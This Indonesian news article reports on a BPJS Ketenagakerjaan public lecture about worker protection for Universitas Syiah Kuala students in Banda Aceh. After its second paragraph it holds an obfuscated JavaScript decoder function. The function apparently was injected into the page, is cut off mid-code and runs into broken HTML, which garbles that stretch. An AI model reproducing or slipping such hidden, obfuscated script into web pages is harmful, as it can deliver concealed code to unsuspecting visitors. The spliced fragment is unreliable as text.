CALEG GOLKAR

BPJS Ketenagakerjaan Sumbagut Bekali Mahasiswa Soal Perlindungan Pekerja

Deputi Direktur BPJS Ketenagakerjaan Umardin Lubis diantara 200 mahasiswa Unsyiah saat memberikan kuliah umum di Banda Aceh, Kamis, 30/11

BANDA ACEH (medanbicara.com). BPJS Ketenagakerjaan Sumatera Bagian Utara menanamkan sejak dini manfaat perlindungan pekerja kepada mahasiswa di Universitas Syiah Kuala, Banda Aceh, Kamis, 30/11.

Deputi Direktur BPJS Ketenagakerjaan Wilayah Sumbagut, Umardin Lubis mengatakan mahasiswa sebagai calon pemberi kerja maupun pekerja harus mengetahui manfaat perlindungan tenaga kerja BPJS Ketenagakerjaan.

function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaanda Aceh, Kamis,30/11." width="640" height="360" /> Deputi Direktur BPJS Ketenagakerjaan Wilayah Sumbagut Umardin Lubis saat memberi kuliah umum di acara 40 menit mengajar di Universitah Syiah Kuala, Banda Aceh, Kamis,30/11.

"Mahasiswa itu dikenal sebagai agen perubahan.Dalam hal ini mengubah masyarakat yang tidak tahu tentang manfaat BPJS Ketenagakerjaan menjadi tahu," kata Umardin saat menjadi pengajar di kegiatan 40 menit mengajar yang diadakan dalam rangka HUT BPJS Ketenagakerjaan yang ke-40. Acara ini diikuti kurang lebih 200 mahasiswa Unsyiah Banda Aceh.

Umardin menjelaskan sebagai pemberi kerja nantinya, mahasiswa mengerti manfaat dan tanggung jawabnya harus melindungi pekerja. Sedangkan nanti bila posisinya sebagai pekerja, mahasiswa harus menuntut ke perusahaan untuk mendapat perlindungan pekerja.

Dia menambahkan kepesertaan BPJS Ketenagakerjaan sudah diatur dengan UU, dimana yang melanggar bisa terkena sanksi. Bagi pengusaha sanksi paling tegas adalah dicabut izin usahanya.

BPJS Ketenagakerjaan juga berharap, setelah acara ini, mahasiswa bisa menjadi 'agen' untuk mengajak masyarakat menjadi peserta. Karena masih banyak warga Aceh sebagai pekerja belum terdaftar di BPJS Ketenagakerjaan.

"Kita menghimbau, warga Aceh segera mendaftar. Biaya murah, pekerja rentan resiko seperti nelayan dan petani sama manfaat yang diterima dengan pekerja yang sedikit resiko," tutur Umardin seperti release yang diterima medanbicara.com.

BPJS juga berharap setelah kegiatan ini, sosialisasi tentang manfaat BPJS Ketenagakerjaan terus dilakukan oleh mahasiswa. Salah satunya dengan menaruh mahasiswa di Unsyiah sebagai perwakilan atau ambasador.

Kepala Biro Kemahasiswaan dan Alumni Universitas Syiah Kuala, Drs M. Nasir Ibrahim menilai kegiatan ini sangat positif.

Alasannya kata Nasir, mahasisw bisa secara tak langsung menjadi agen untuk menginformasikan program program BPJS Ketenagakerjaan.

"Kita bisa manfaatkan mahasiswa sebagai agen untuk menginformasikan tentang BPJS Ketenagakerjaan kepada orangtuanya di kampung, lingkungannya, malah juga ke masyarakat," katanya.

Putri, Mahasiswa ambasador BPJS Ketenagakerjaan di Unsyiah mengaku senang mendapat pengetahuan tentang perlindungan tenaga kerja.

" Saya bertekad meneruskan informasi ini kepada pekerja yang belum mendapatkan perlidungan tenaga kerja," katanya.

Kuliah umum ditutup dengan pemberian bantuan literature, sebesar Rp 10 juta dari BPJS keternagakerjaan, kepada Universitas Syiah Kuala. Tidak hanya di Aceh, BPJS Ketenagakerjaan juga menggelar kegiatan yang sama, diberbagai perguruan tinggi di seluruh Indonesia.(hambali)

Mungkin Anda juga menyukai